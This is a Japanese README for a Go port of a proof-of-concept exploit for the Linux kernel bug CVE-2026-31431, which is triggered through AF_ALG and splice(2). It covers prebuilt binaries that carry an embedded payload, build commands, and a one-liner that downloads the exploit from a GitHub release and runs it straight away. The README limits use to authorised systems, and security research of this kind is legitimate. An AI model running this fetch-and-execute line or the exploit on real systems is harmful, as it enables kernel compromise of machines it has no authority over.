
CVE-2026-31431向けの静的Go PoC。LinuxのAF_ALGとsplice(2)を利用して脆弱性を発火させます。amd64、arm64、386向けのプリビルドバイナリを提供します。
このリポジトリには、theori-io/copy-fail-CVE-2026-31431 の公開Python概念実証コードのGo移植版が含まれています。
このプログラムはLinux専用です。Linuxの AF_ALG インターフェース、AEAD制御メッセージ、および splice(2) を使用して、元のPoCの動作を維持しながら、小さな静的Goバイナリとしてビルドします。
リリースビルドは以下向けに生成されます:
linux/amd64linux/arm64linux/386各バイナリには、同じターゲットアーキテクチャ用のペイロードELFが埋め込まれています。
macOSおよびWindowsビルドは意図的に公開されていません。これは、PoCがLinux固有のカーネルインターフェースに依存しているためです。
タグ付きリリースでは、圧縮された静的バイナリとチェックサムマニフェストが公開されます:
copy-fail-poc-linux-amd64.tar.gzcopy-fail-poc-linux-arm64.tar.gzcopy-fail-poc-linux-386.tar.gzSHA256SUMSダウンロードしたアーティファクトを検証するには:
sha256sum -c SHA256SUMS
要件:
現在のホストアーキテクチャをビルド:
CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc ./cmd/copy-fail-poc
Linuxターゲットのクロスビルド:
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc-linux-amd64 ./cmd/copy-fail-poc
対応する GOARCH 値は amd64、arm64、386 です。
テストを実行:
go test ./...
go vet ./...
テストは非破壊的なヘルパーロジックのみを対象としています。PoCのトリガーパスは実行しません。
所有している、または明示的にテストを許可されているLinuxシステム上でバイナリを実行します:
./copy-fail-poc-linux-*
ワンライナーでのリリースダウンロードと実行:
sh -c 'set -e; case "$(uname -m)" in x86_64) a=amd64;; aarch64|arm64) a=arm64;; i386|i686) a=386;; *) echo "unsupported arch: $(uname -m)" >&2; exit 1;; esac; curl -fsSL "https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Statically-PoC/releases/latest/download/copy-fail-poc-linux-${a}.tar.gz" | tar xz; ./copy-fail-poc-linux-${a}'
動作はターゲットのカーネルとローカルシステム構成に依存します。このバイナリは、すべてのLinuxシステムでの悪用の成功を保証するものではありません。
GitHub Actionsワークフローは v* に一致するタグで実行され、Actionsタブから手動で開始することもできます。
リリースを作成:
git tag v0.1.0
git push origin v0.1.0
タグビルドの場合、ワークフローはGitHub Releaseを作成し、Linuxアーティファクトと SHA256SUMS をアップロードします。手動実行の場合、アーティファクトはワークフロー実行から利用できます。
このプロジェクトは、許可されたセキュリティ研究、防御的検証、および教育目的のレビューのみを目的として提供されています。所有していないシステムや、明示的なテスト許可がないシステムでは実行しないでください。適用されるすべての法律、契約、およびポリシーの遵守は利用者の責任です。